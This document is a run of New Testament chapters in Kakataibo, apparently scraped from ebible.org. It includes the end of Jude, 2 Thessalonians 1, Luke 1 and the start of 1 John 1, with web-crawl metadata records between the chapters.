Jesucristonan 'ai —quixunbi ca aín bana quicësabi oquin 'aima. Usa uni ñui ca Nucën Papa Diosan bana cuënëo quia, usaía 'icë unicamax ca 'aisamaira oquin 'uchocë 'iti 'icë quiax.\n5 Upí oquinmi 'unáncëbi cana ënë ñucama mitsu sinánmitëcënin, Nucën 'Ibu Diosan ca Israel unicama Egipto menua buánxunbi ami catamëtiama oquin raíri cëñuacëxa. 6 Angelcama raíri, axa Nucën Papa Diosan nëtënubi 'iti 'aíshbi anu 'iisama tancë cupí chiquía, ax ca anúan an camabi uni isti nëtë utámainuan bëánquibucënu uisatima manë risin tëcërëcacësa 'aish, anubi 'inun Nucën Papa Diosan ëan 'icën. 7 A ángelcamaxa abë 'iisama tanan Nucën Papa Dios cuëëncësabi oi 'iisama tani 'iásaribiti ca Sodoma 'imainun Gomorra 'imainun a 'urama 'icë ëmacamanu 'icë unicamaxribi 'iacëxa. Nucën Papa Diosan ca aín xanubëishia 'iti uni 'anan xanuribi aín bënëbëishia 'iti uniocëxa. Usa 'aínbi ca a ëmacamanu 'icë unicama aín xanuma 'aínbi bëtsi xanubë 'imainun xanúxribi aín bënëma 'aínbi bëtsi unibë 'imainun uníxribi xanúxmabi bëtsi unibë 'i, 'aisamairai 'uchacëxa. Usaía 'icë ca Nucën Papa Diosan aín 'ucha cupíbi, manë tsin nëancëxa, xënibua 'aínbi ainanma 'inun. Usaía 'iá a sinani cananuna nuxribi usai 'itin rabanan bërúancati 'ain.\n8 Usa 'aínbi ca axa Sodoma 'imainun Gomorranu 'icë unicama usai 'iá 'unanibi, mitsu parani mitsubë timë́cë unicama an, sinánñumasa 'aish aín xanuma 'aínbi xanubë 'ianan bana cuacëma 'ixun, Nucën 'Ibu Diosmi sinánquinma cushi unicama 'imainun uisa cushi cara, ángelcamaribi 'atimaquin ñuia. 9 Usaría a unicamax quicë 'aínbi ca usoquin caquinma ángelcaman cushi, Miguel, an abë banaquin ñunshin 'atimanën 'apu 'atima bana 'inánquinma, Moisés bamacë rabanan abë cuëbicanancëxunbi, Miguelnën ñunshin 'atimanën 'apu ësaquinshi cacëxa: \"Nucën 'Ibu Diosan ca mi 'uchoquin ñu cati 'icë\" quixun. 10 Usa 'aínbi ca a unicama an 'unáncëma ñu ñui 'atimati banaia. Sinánñuma 'ixuan ñuinacan uisa cara oia quixun sinánquinmaishi ñu 'acësaribi oquin ca a unicaman aín cuëëncësa oquinshi ñu 'aia. Usaquin 'ai ca atúxbi 'atimatia.\n11 A unicaman ñu 'atima 'acë cara Nucën Papa Diosan uisoti 'icën. Cainan ñu 'atima 'ásaribi oquin 'anan ca Balaam an 'ásaribiquin curíqui biti sinánxun ñu 'atima 'aia. Coré ax ca Nucën Papa Diosan cacëxuan Moisésnën ñuicë bana cuaisama tanquin, uni raíri Moisésmi nishquin tsuáquirumicë cupí, bamacëxa. Cain, Balaam, Coré, acamaxa 'iásaribiti ca a unicama cënúti 'icën. 12 Mitsúxmi Jesucristomi sinánquin pi timë́cë 'ain atúxribi mitsubë timë́cë 'aíshbi ca asérabi mitsúxmi 'icësaribiti 'ima. Usa 'aish ca atun cuëëncësabi oquinshi pi rabinima sharati, uni raírimi sinanima. Uni raíri 'aquincëma 'aish ca 'uí 'ibúnux nëtë bënamëtiabi suñun bëcacëx nëtë́cësa usaribi 'icën. 'Ianan ca anun bimiti nëtëa ucëbëbia i bimicëma usaribi 'icën. Bëucutia i aín tapun ëchiquicë, usaribi ca atux 'icën. 13 Bëchunan tucánquiquin masinu chinan purucësa, usaribi 'inun ca aín nuitu upíma 'ain 'atimati bananan ñu upíma 'aia. Chiquíquianxa 'ispa amanu tacúcë, usaribi ca atux 'icën. Usa 'aish ca atux nëtë́timoi xënibua 'aínbi bëánquibucënu 'iti 'icën.\n14 Ax pain unia nucën rara Adán aín rëbúnqui nucën rara Enoc, ax ca Nucën Papa Diosan sinánmicëx usa uni ñui ësai quiacëxa: \"'Ën iscëx ca Nucën 'Ibu Dios camabi 'aisamaira aín uni upícaman nëpúamainun uaxa. 15 Uxun ca camabi uni uisa cara oti 'icë quixun isaxa, atúan ñu 'acëcama 'unánquin. An ñu 'atima 'acë unicama atun ñu 'atima 'acë cupí 'imainun atun a ñui 'atimati banacë a cupíribi, ca Nucën 'Ibu Diosan 'uchoquin uisa cara oti 'icë quixun isaxa\". 16 A unicamax 'aisama 'ixun ca uni raírinën 'acë ñu 'atimaquin ñuianan atux cuëëncësa oquinshi 'anan atux cuëëncësa oíshi 'iti sinania. Usa 'ixun ca atúxbi cërúanan rabiacaquin, aín curíqui 'imainun aín ñu biti cupíshi abë upiti banaquinbi uni parania.\nUni itsin paránti rabanan bërúancati bana\n17 'Ën nuibacë xucë́antu, a unicamaxa usa 'aínbi camina mitsun, Nucën 'Ibu Jesucristonëan aín bana ñuixunun caíscë unicaman mitsu ñuixuan banacama, a manuquinma sinánti 'ain, 18 ësaquian mitsu cacë: Jesucristo utëcënti nëtëa 'urama 'ain ca 'itsa unin Nucën Papa Diosan banami cuaiquin, aín sináncësa oquinshi ñu 'atima 'ati 'icën. 19 Usa unicamax ca an ënë nëtënuxun aín cuëëncësa oquin ñu 'atishi sináncë a 'icën. A unicaman ca uni raírimia nishnun quixun unicama sinanamia. Nucën Papa Diosan Bëru Ñunshin Upitan sinánmicëma ca atux 'icën.\n20 'Ën nuibacë xucë́antu, ami catamëcë 'aish camina camabi nëtën asérabi Jesucristomi sinánti 'ain. Ami sináncëxun ca an mitsu sinánmiti 'icën, an sináncësaribi oquinmi sinánun. Aín Bëru Ñunshin Upitan 'aquincëx camina Nucën Papa Diosbë banati 'ain. 21 Nucën Papa Diosan mitsu nuibacëx camina ami manutima camabi nëtën ax cuëëncësabi oi 'iti 'ain. 'Ianan camina a nëtë anuan nuibaquin Nucën 'Ibu Jesucristonën utëcënquin aín nëtënunu xënibua 'aínbi abë 'inun nu 'imiti, a caínti 'ain.\n22 Caíanan camina —Nucën Papa Diosan bana ca asérabi 'icë —quixuan an sináncëma uni a 'ësëquin —usa ca —quixun upí oquin sinánmiti 'ain. 23 Uni raírinëxa aín ñu 'atima 'acë cupí Nucën Papa Diosnanma 'icëbi camina amia sinánun 'aquinti 'ain, tsinuaxa xaráti 'icëbi uni bicësaribi oquin. Usaribi oquin camina uni raíriribi nuibaquin upí 'inun 'aquinquinbi axa 'atima 'icësaribi 'itin rabanan bërúinra oti 'ain, ax 'aisama cupía, aín chupáxbi chuaíracësa 'icë timacësa oquin aín 'ucha timaquin.\nAshiquiana, Nucën Papa Dios rabinun ca\n24 An ñu 'atima 'axúnmami 'anun mitsu bërúanan an iscëxmi upí 'aish cuëëni aín nëtënu abë 'inun mitsu 'imiti, ax ca Nucën Papa Dios 'icën. 25 Axëshi Nucën Papa Dios 'ixun Nucën 'Ibu Jesucristo cupí nu ainan 'inun ië́micë, ax ca cushiira 'ianan upíira 'aish 'Apuira 'icën. Ax uisa ñubi uniocëma pan 'aish usabi 'iá 'aish ca ax usabi 'ia. Usabi ca ax 'icën. Ashi, Judas.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/JUD01.htm","date":"2021-12-02T19:55:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00285.warc.gz","language":"cbr","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"cbr_Latn_score\": 1.0000064373016357}","num_words":1064,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"PABLONËAN TESALONICANU 'ICË UNICAMA ARIBI BUÁNMITËCËAN QUIRICA\n1\nPablonëan abë 'icë unicamabëtan Tesalónicanuaxa ax Jesucristomi catamëcë unicama quirica cuënëoxuan\n1 'Ëx Pablo 'ixun cana Silvano 'imainun Timoteobëtan, Tesalónica ëmanuaxmi Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristonan 'icë, mitsu ënë quirica buánmin. 2 Nucën Papa Diosbëtan Nucën 'Ibu Jesucristonën nuibaquin chuámarua 'aíshmi bucunun mitsu 'aquinti cananuna cuëënin.\nI. JESUCRISTO UTËCËNTIA PABLONËN ÑUIA BANA (1.3-2.17)\nCristo utëcëncëbëtan Nucën Papa Diosan, 'uchañu unicama uisa cara oti 'icë quixun isti bana\n3 Nucën xucë́antu, mitsu sinánquin cananuna nëtë́quinma —asábi ca —quixun caquin Nucën Papa Dios rabin. Mitsux camina bëráma 'icësamairai Jesucristomi catamëanan bëtsibë bëtsibë nuibananin. Usaími mitsux 'icëbëtan nun Nucën Papa Dios —asábi ca —caquin rabiti ca asábiira 'icën, anbi mitsu upíira oquin sinánmicë cupí. 4 A rabianan cananuna camabi ëmanuxun axa Jesucristomi catamëcë unicamaxa timë́cë mitsu ñuiquin ësaquin cain, mitsux camina unían ubíonan bëtsi bëtsi ocëx tëmëraquinbi tanshianan, uisa ñu cara 'icëbëtanbi ëníma Jesucristomi catamëti quixun. 5 Ainan cupí usai tëmëratancëxmi mitsux aín nëtënu abë 'inuan an mëníocë cupí camina 'unánti 'ain, Nucën Papa Dios ax ca asérabi aín sinan upí 'icë quixun.\n6 An mitsumi nishquin mitsu tëmëramicë unicama a usaribi oquin Nucën Papa Diosan tëmëramiti ca asábi 'icën. 7 Usoquin 'anan aín ángelnën cushicamabëtan, tsi rëquirucësa 'ixuan pëcacë nëbë́tsi, Nucën 'Ibu Jesús naínuax ucëbëtan, an nucëñun unían tëmëramicë 'icëbi mitsu chuámarua 'imiti ca asábi 'icën. 8 Aín ángelnën cushicamabë utancëxun ca Nucën 'Ibu Jesusan ui unicaman cara ami catamëisama tancë 'ixun Nucën Papa Dios 'unáncëma 'icë, acama uisa cara oti 'icë usoquin 'ati 'icën. 9 Usoquian xënibua 'aínbi cëñútimoquin 'aisamaira oquin castícancë unicamax ca Nucën Papa Diosan nëtë upí, aín cushían pëcacë, anu Nucën 'Ibu Jesúsbëma 'aish, a 'ura 'ianan aín cushin 'aquincëma 'iti 'icën. 10 Usai ca 'iti 'icën, a nëtë anúan Nucën 'Ibu Jesucristo uti, aín unicaman —upíira ca Nucën 'Ibu Jesucristo 'icë —quixun ami sinani cuëënquin a rabinun. Mitsúnribi nun aín bana ñuixuncëxun cuati ami catamëcë 'ixun camina aín unicamabëtanbi cuëënquin a rabiti 'ain.\n11 Usai 'iti cupía ainan 'inun caíscë 'ixun usai ca aín uni 'iti 'icë quixun an sináncësabi oi 'inun mitsu 'iminun cananuna Nucën Papa Dios mitsu nëtë camabi ñucáxunin. Ñucáxuanan cananuna ax cuëëncësabi oquinmi mitsun upí ñu 'aisa tancë acama 'anan ami catamëtia an mitsu sinánmicëxunmi upí oquin 'anun aín cushínbi mitsu cushionun quixun a ñucatin. 12 Usaquinmi mitsun 'acëbëtan ca Nucën 'Ibu Jesucristo, ax asérabi upí 'ianan cushiira 'icë 'unánquin unin rabiti 'icën. Rabicëbëtan ca mitsúxribi Jesucristosa 'icë unin isti 'icën. Nucën Papa Dios 'imainun Nucën 'Ibu Jesucristo an mitsu nuibaquin 'imicëx camina mitsux usa 'iti 'ain.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/2TH01.htm","date":"2021-12-02T18:53:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00298.warc.gz","language":"cbr","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.000002384185791}","num_words":410,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"LUCASNËAN 'A UPÍ BANA\nI. JESUS XURATSU PAIN 'AISH 'IA BANA (1-2)\n1\n1-2 Teófilo 'ën cana mi cain, an Jesús isanan aín bana ñuixuncë unicaman ca atun iscësabi oquin Jesusan ñu 'acëcama 'imainun an unicama 'unánmicë ñucamaribi ñuiaxa. A unicaman ñuia cuaxun ca 'itsa unin upí oquin mëníoquin a banacama cuënëoxa. 3-4 Teófilo, minribi camina a ñucama mi ñuixuncancëxun cuan. Minmi asérabi cara a bana 'icë quixun 'unánun cana 'ënribi upí oquin an a ñucama 'unáncë unicama ñucáquin, uisaira cara 'iaxa quixun cuatancëxun, cuënëoxunquin mi ñuixunin.\nAngelnëan an uni nashimiti uni, Juan, axa bacë́nti ñuia\n5 Herodes Judea cacë menu 'apu 'ain ca Zacarías cacë uni judíos sacerdote achúshi 'iacëxa. An mëníosabi oquin ca anuxun a rabiti xubunuxun, Abíasnën unicamabëtan Zacaríasnën Nucën Papa Dios rabiquin ñu 'axuancëxa. Zacaríasnën xanu ax ca Aaronën rëbúnqui, Elisabet cacë, 'iacëxa. 6 Zacarías 'imainun Elisabet a rabëtax ca Nucën Papa Diosan iscëx aín nuitu upí 'iacëxa. Upí 'ixun ca Nucën 'Ibu Diosan banacama cuaquin an cacësabi oquin upí oquin 'acëxa. Usa 'ain ca uinu 'icë uníxbi a 'atimaquin ñui ami manánma 'icën. 7 Usa 'ain ca Elisabet tuáñuma xanu 'ianan a rabëtaxbi xëniira 'iacëxa.\n8 Usabi oquin 'acë 'ixun ca achúshi nëtën Abíasnën unicaman anuxun Nucën Papa Dios rabiti xubu anuxun atun 'ati ñu 'aquin, 9 uin cara anu Nucën Papa Diosan caíscë uníxëshi atsínti anu atsínquin tsëpasa ñu xaroti 'icë quixun 'unánuxun Nucën Papa Dios ñucátancëxun tancëxa, judíos sacerdotecaman 'acësabi oquin. Tancëxbi ca Zacarías 'iacëxa. 10 Usa 'ain ca Zacaríasnën tsëpasa ñu xaromainun judíos unicaman ëmánxun Nucën Papa Dios abë banaquin rabiacëxa. 11 Tsëpasa ñu xaroquinbi ca Zacaríasnën anuxun tsëpasa ñu xaroti a mëqueucüa an Nucën Papa Dios 'aquincë aín ángelcama achúshi ami chiquiracëtia mëracëxa. 12 Mërai sináncasmai ca ratuti racuë́iracëxa. 13 Usai ami racuëtiabi ca ángelnën cacëxa:\n—Racuë́axma ca 'it, Zacarías. Nucën Papa Diosan ca minmi a cacë banacama cuaxa. Usa 'ain ca min xanu Elisabet an tuáñu 'iti 'icën. A tuá camina Juan caquin anëti 'ain. 14 A tuá aín tita bacë́ncëx canicëbë camina 'itsaira cuëënti 'ain. Usaribiti ca 'itsaira unix cuëënti 'icën, a uni cupí. 15 Ax ca Nucën Papa Diosan iscëx uni itsisama 'iti 'icën. 'Ianan ca an vino 'imainun ñu cachacë xëatima 'icën. Aín titaxa bacë́ncëma pain 'aíshbi ca Nucën Papa Diosan Bëru Ñunshin Upíñu 'iti 'icën, usabi 'inux. 16 Juan an ca amia manúcë 'icëbi Israel unicama upí oquin atun 'Ibu Diosmi sinántëcënquian a rabinun 'unánmiti 'icën. 17 Juan ax ca Nucën 'Ibu Jesúsa unun ax pain rëcuë́ncuatsini uti 'icën. Ax ca Elías 'iásaribiti Nucën Papa Diosan cushiñu 'ixun unicaman upí oquin sináncësaribi oquin aín bëchicë sinánun sinánmiti 'icën. Sinánmianan ca an aín bana cuaisama tancë unicama sinanamiquin, Nucën Papa Diosmi sinánun 'imiti 'icën. Usoquian 'imicëxun ca axa Nucën 'Ibu Diosan xucëx ucëbëtan, Israel unibunën upí oquin aín bana cuati 'icën.\n18 Angelnën cacëxun ca Zacaríasnën cacëxa:\n—'Ëx cana xëniira 'ain, 'ën xanuribi ca xëniira 'icën. ¿Usa 'ain carana uisaxun 'unánti 'ain, min 'ë cacësabi oi ca asérabi 'iti 'icë quixun?\n19 Cacëxun ca ángelnën cacëxa:\n—'Ëx cana abë 'ixuan an cacësabi oquin Nucën Papa Dios ñu 'axuncë ángel, Gabriel, a 'ain. Usa 'icë ca an upí bana ënë ñuiquin mi canun quixun 'ë xuaxa. 20 'Ën mi cacëxunbimi usai ca 'iti 'icë quixun sináncëma cupí camina banañuma 'inuxun 'ain. Usa 'ain camina a ñucama sënë́ncëbëishi banatëcënti 'ain. Min sináncëbëmabi ca 'ën mi cacë ñu asérabi 'iti 'icën, anun usai 'iti nëtëa sënë́ncëbë.\n21 Angelbë Zacarías banamainun ca an ëmánxun chiquitia caíncë unicaman, uisacatsi cara panatia quixun sináncëxa. 22 Usaquin sinánquian caíncëx chiquíquin ca Zacaríasnën banacasmaquin aín mëcënanshi sanánquin tanxuancëxa. Usaía 'icëbëtan ca unicaman —Nucën Papa Diosan ismicëxun ca anuxun a rabiti xubunuxun ñu isaxa —quixun sináncëxa.\n23 A nëtëcama anun anuxun Nucën Papa Dios rabiti xubunuxun ñu 'ati sënë́ncëbë ca Zacarías aín xubunu cuantëcëancëxa. 24 Usa 'ain ca Zacarías cuantëcëan aín xanu Elisabet tuuacëxa. Tuui ca chiquitima mëcën achúshi 'uxë aín xubu mëúishi 'iacëxa. Usai 'iquin ca sináncëxa: 25 Nucën 'Ibu Diosan ca 'ë sinánxunquin unicaman 'ë 'atimaquin ñuitëcënxunma 'anun 'ëx tuáñu 'inun mëníoxa quixun.\nAn Jesús tuuati ñuiquian ángelnën María ca\n26 Elisabet mëcën achúshi 'imainun achúshi 'uxë sënëni natubëncëbëtan ca Nucën Papa Diosan aín ángel, Gabriel, a Galilea menu 'icë ëma, Nazaret, anu cuanxuan 27 unibë 'icëma pan xanu, María cacë, a istánun xuacëxa. A xanux ca Davitan rëbúnqui, José cacë uni, an binuxun cacë 'iacëxa. 28 Usa 'ain ca xucëx cuanx anua 'icënu atsínquin María cacëxa:\n—Chuámashi ca 'it. Mi ca Nucën 'Ibu Diosan upí oquin sinánxunia, xanu raíri 'acësamaira oquin. Ax ca mibë 'icën.\n29 Usaquin cacëxun cuaquinshi isquin ca Maríanën ratúquin sináncëxa —¿uisoti cara 'ë usaquin cain? —quixun. 30 Usaquin sinaniabi ca ángelnën cacëxa:\n—Racuë́axma ca 'it, María. Mi ca Nucën Papa Diosan upí oquin sinánxunia. 31 Mix camina tuunuxun 'ain. Tuutancëx camina bëbu tuá bacë́nti 'ain. A camina Jesús caquin anëti 'ain. 32 Ax ca uni itsisama 'iti 'icën. A ñui ca —Nucën Papa Dios manámi 'icë aín Bëchicë ca ax 'icë —quiax uni quiti 'icën. Nucën Papa Diosan 'imicëx ca aín rara David 'iásaribiti ax 'apu 'iti 'icën. 33 'Apu 'aish ca Israelnën rëbúnquinën 'apu nëtë́timoi 'iti 'icën. Ax ca cëñútimoi 'apu 'inuxun 'aia.\n34 Cacëxun ca Maríanën ángel cacëxa:\n—'Ëx cana unibë 'icëma pan 'ain. ¿Usa 'aish carana uisax usai 'iti 'ain?\n35 Cacëxun ca ángelnën cacëxa:\n—Nucën Papa Diosan Bëru Ñunshin Upí ca minu uti 'icën. Manámi 'icë Nucën Papa Diosan sinanën camina tuñu 'iti 'ain. Usaquian sinánxuncëxunmi tuacëx ca ax Nucën Papa Diosan iscëx upíira 'iti 'icën, —ax ca Nucën Papa Diosan Bëchicë 'icë —quiax ca unicamax a ñui quiti 'icën. 36 Min xucën, Elisabet, anribi ca caniacëquinbi bëbu oquin tuaia. Ca tuaíma quicancëbëbi ca aín tuá mëcën achúshi 'imainun achúshi 'uxë́inshi chaia. 37 'Aíma ca Nucën Papa Diosan 'acasmati ñu 'icën.\n38 Cacëx ca María quiacëxa:\n—Ënu cana 'ain, a Nucën 'Ibu cuëëncë ñu 'axunti. Min cacësabi oi ca 'iti 'icën. Usaquian cacëx ca ángel cuancëxa.\nMaría Elisabet isi cuan\n39 'Itsama nëtë 'icëbë ca María bënëtishi Judea menu 'icë ëma achúshi, matánu 'icë, anu Elisabet isi cuancëxa. 40 Cuanx bëbai Zacaríasnën xubunu atsínquin ca Maríanën Elisabet —¿ënu caina 'ain? —quixun cacëxa. 41 Usaquin Marianën cacëxuan Elisabetnën cuacëbëshi ca aín pucunuax aín tuá ubíacëxa. Usai 'icëbëtan ca Nucën Papa Diosan Bëru Ñunshin Upitan upí oquin Elisabet sinánmiacëxa. 42 Sinánmicëx cuëënquin ca Elisabetnën munuma María cacëxa:\n—Nucën Papa Diosan mi sinánxuanxa, xanu raíri 'acësamaira oquin. Min tuáribi ca an upí oquin sinánxunia. 43 Mixmi Nucën 'Ibu ax uti nun caincë aín tita 'aish 'ë isi ucëbë cana cuëënibi rabinin. 44 'Ën minmi cacëxun cuacëbëshi ca 'ën pucunu 'icë tuá cuëëni ubíaxa. 45 Nucën 'Ibu Dios quicësabi oi ca asérabi 'iti 'icën. Ca usai 'iti 'icë quixun sinani camina cuëëinra cuëënti 'ain.\n46 Elisabetnëan usaquin cacëxun ca Maríanën cacëxa:\n'Ën cana Nucën 'Ibu Dios cuëënquin rabin. 47 'Ën 'Ibu Dios an ainan 'inun 'ë ië́micë, a sinani cana cuëëinra cuëënin. 48 'Ëx ñuñuma 'aíshbi ami sináncë 'icë ca Nucën 'Ibu Diosan 'ë sinánxuanxa. Usoquin sinánxuncë 'ëx 'ain ca camabi unix 'ë ñui —a ca Nucën Papa Diosan upí oquin sinánxuanxa —quiti 'icën. Axa ënë nëtënu bucucë unicaman rëbúnquinëxribi ca usai 'ë ñui quiti 'icën. 49 Nucën Papa Dios ax cushiira 'ixun ca 'ën sináncëma ñu upíira upía 'ë canun quixun aín ángel xuaxa. An ca aín sinan upíira 'aish uisa ñu 'atimabi 'ati sinanima. 50 Usabi oquin ca uicaman cara ami racuë́anan aín bana cuatia acama nuibaquin 'aquinia. 51 Cushiira 'ixun ca an unin 'acëma ñu 'axa. Axa —'ëx cana uni itsisamaira 'ai —quixun sinani rabícë unicama ca an ñuuma 'imiaxa. 52 'Imianan ca 'apucamaribi 'apuma 'inun meu onan axa meu 'icë unicamaribi meuma 'inun 'imiaxa. 53 Panancë unicama ca pimiaxa. Pimianan ca ñuñu unicama ñu 'inántëcënquinma ñancáishi cuantánun xuaxa. 54 Israelnën rëbúnquicama ainan 'inúan caíscë acama ca nuibaquin manuquinma 'aquianxa. 55 Usai ca xënibua 'aínbi 'iti 'icë quixun ca aín rëbúnquicama ñuiquin Nucën Papa Diosan nucën rara Abraham cacëxa.\n56 Ësai qui sënë́ntancëx rabë́ 'imainun achúshi 'uxë Elisabetbë 'itancëx ca María aín xubunu cuantëcëancëxa.\nAn uni nashimicë, Juan, bacë́an\n57 Usa 'ain ca Elisabet aín bacë́nti nëtë sënë́ncëbë, nucë bënë tuá bacë́ancëxa. 58 Bacë́ncë —a ca Nucën 'Ibu Diosan nuibaquin tuáñu 'inun 'imiaxa —quixun 'unánbiani a 'urama 'icëcama 'imainun aín aintsi 'ibucamaxribi Elisabet isi cuanx ca abë banai cuëëancëxa. 59 Usai 'itancëx ca Elisabet bacë́ncë achúshi semana 'imainun achúshi nëtë 'ain, judíos unibunëan 'acësoquin, a tuá judío 'icë 'unánti oi anu timë́acëxa. Timë́ax ca aín papan anë́nbi anëcatsi quiax quicancëxa. 60 Quicëbëbi ca aín titax:\n—Usama ca. Aín anëx ca Juan cacë 'iti 'icë —quiax quiacëxa.\n61 Quia ca cacancëxa:\n—¿Uisa cupí cara Juan caquin anëcë 'iti 'ic? Uinu 'icë min aintsi 'ibúxbi ca usaquin anëcë 'aíma 'icën.\n62 Usaquin catancëxun ca aín papa uisaquin anëti cara cuëënia quixun ñucáquin mëcënan 'unánti oquin sanánquin cacancëxa. 63 Usoquian cacancëxun ca aín papan anu cuënëoti ñua 'inánun quixun aín mëcënan tanquin cacëxa. Cacëxun 'ináncëxun ca —aín anë ca Juan 'icën —quixun cuënëocëxa. Usaquian cuënëocë isi ca uisa cupí cara usaquin anëia quiax sináncasmacancëxa. 64 Usaquian cuënëocëbëa sináncasmacancëbëshi ca Zacarías banatëcëancëxa. Banatëcënquin ca Nucën Papa Dios rabiacëxa.\n65 Usai 'icëbë ca anu 'icë unicama sináncasmai ratúacëxa. 'Imainun ca Zacaríasbëa aín bëchicë usai 'icë banacama Judea menu 'icë matácamanu 'icë unicaman chanioia cuacëxa. 66 Chanioia cuax ca a tuá ñuiquian ñuicë banacama atun nuitu mëúishi sinánan, Nucën Papa Diosan ca abë 'ixun asérabi a sinánxunia quixun 'unani, —¿ënë tuáratsu cara canitancëx uisa uni 'iti 'ic? —quiax canancëxa.\nZacarías canta\n67 Usai quimainun ca a tuacën papa, Zacarías, ax aín Bëru Ñunshin Upíñu 'aish, Nucën Papa Diosan sinánmicëx cuëëni quiacëxa:\n68 —Nucën 'Ibu Dios, a Israel 'imainun aín rëbúnquicaman rabicë, a ca camabi unin rabiti 'icën. An ca aín unicama 'icë nu nuibaquin, an nuxnu ami sinánun nu sinánmiti a xuaxa. 69 An ca cushiira 'ixuan an nu ië́miti axa unun mëníoxa. Ax ca an Nucën Papa Dios rabia David, aín rëbúnqui 'iti 'icën. 70 Nucën Papa Diosan ca bëráma an ax quicë bana uni ñuixuncë uni upícaman —usai ca 'iti 'icë —quixun canun camiacëxa, ësaquin, 71 an ca an nu nuibacëma unicaman ubíotima oquin nu ië́mianan axa numi nishcë unicaman bëtsi bëtsi otima oquin nu ië́miti 'icën. 72 Usaquin nu nuibaquin 'aquinquin ca Nucën Papa Diosan nucën raracama cásabi oquin nu ñu 'axunti 'icën. A bana, nucën raracaman rëbúnquinëx ca aín unibu 'iti 'icë quiax quicë, a ca manucëma 'icën. 73 Nucën Papa Diosan ca sinanatëcënuxunma nucën rara Abraham cá banax ca ësai quicë 'icën: 74 Abrahamnën rëbúnqui nun nu racuë́quinma a rabinun ca axa numi nishcë unicaman ubíotima oquin an nu ië́miti 'icën. 75 Usaquian ië́micëxun cananuna an iscë nun nuitu upí 'ixun, ax cuëëncësabi oquin 'aquin, camabi nëtë nun bamati nëtë utámainun a rabiti 'ain. 76 Usa 'ain cana mixmi 'ën bëchicëratsu 'icë, mi cain, mi ñui ca unicamax, Nucën Papa Dios manámi 'icë an aín bana unicama ñuixunun xucë camina mix 'ai quiax quiti 'icën. Min camina, a Nucën 'Ibu Diosan xuti ax ucëma pan 'ain, mix pain rëcuë́ncuatsincë 'ixun, aín bana cuanun quixun Israel unicama sinánmiti 'ain. 77 Min sinánmicëxun ca 'unánti 'icën, a cupí ca atun 'uchacama tërë́ncë 'aish Nucën Papa Diosnan 'inun ië́micë 'iti 'icë quixun. 78 Usoquin 'iminuxun ca Nucën Papa Diosan nu nuibaquin, an nu ië́miti, a aín nëtënu 'icëbi ënë menu nubë 'inun xuti 'icën. 79 Xucëxun uquin ca axa aín 'ucha cupí Nucën Papa Diosbë upíma 'ianan —'ën bamati ca 'urama 'icë —quixun sinani racuëti masá nuituti bëánquibucënu 'icësa unicama atun 'uchacama tërë́nquin Nucën Papa Diosnan 'inun 'imianan nuxnu Nucën Papa Diosbë upí 'aish ax cuëëncësabi oi 'inun nu 'imiti 'icën.\nUsai ca Zacarías Nucën Papa Diosan Bëru Ñunshin Upitan sinánmicëx quiacëxa.\n80 Usa 'aish ca cani a tuá aín sinan upí 'iacëxa. Usa 'aish ca anúan Israel unicama bana ñuixunti nëtëa sënë́ntamainun anu uni 'icëma menu 'iacëxa.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/cbrNT\/LUK01.htm","date":"2021-12-02T19:11:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00358.warc.gz","language":"cbr","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000088214874268}","num_words":1878,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"JUANËAN A PAIN BUÁNMIA QUIRICA\n1\nAnun Jesucristonan 'iti bana\n1 Ënë mecama unioisama 'aínbia aín Papabë 'iá axa ënë menu uá, a ñuiquin cananuna ënë quirica mitsu cuënëoxunin. A cananuna aín bana cuanan nun bërúnbi isacën. Nun bërúnbi ñachaquin isanan cananuna nun mëcënanribi ramëacën. Ax bamatimoi tsócë 'ixuan aín unicamaribi abë 'inun 'imicë, a ñuiquin cananuna mitsu cain. 2 A cananuna nusaribi 'aish uni 'icë nun 'unáncën. Usa 'ixun cananuna asérabi a isacën. Isá 'ixun cananuna a mitsu ñuixunin. Ax aín Papabë 'itancëxbi ënë menu uá 'ixun ca bamatimoi tsócë 'ixun, usaribitinu abë 'inun nu 'imiti 'icë quixun cananuna mitsu ñuixunin. 3 Nuxnu asérabi Nucën Papa Dios 'imainun aín Bëchicë Jesucristobë upí 'icësaribitimi mitsúxribi nubë Jesucristomi upiti sinánun quixun cananuna nun nu isanan cuacë, ënë ñucama mitsu ñuixunin. 4 Upí oquin sinanimi chuámaishirua tani cuëënun cananuna ënë banacama ësoquin mitsu cuënëoxunin.\nNucën Papa Diosan unían ñu 'atima 'ati sinántima bana\n5 Jesucristonënbia nu pain 'unánmia 'ixun cananuna ënë bana mitsu ñuixunin: Nucën Papa Dios an ca asérabi upíira 'ixun ñu upíshi 'aia. An ca unë́xun ñu 'aima. Usa 'ain ca uisa 'uchabi anu 'aíma 'icën. 6 Ñu 'aisama 'aíbi —ainan 'aish cana Nucën Papa Diosbë upí 'ai —qui cananuna cëmëin. Ainan cana 'ai quicë 'ixunbi ax quicësabi oquin 'aquinma ñu 'atima 'ai cananuna cëmëin. 7 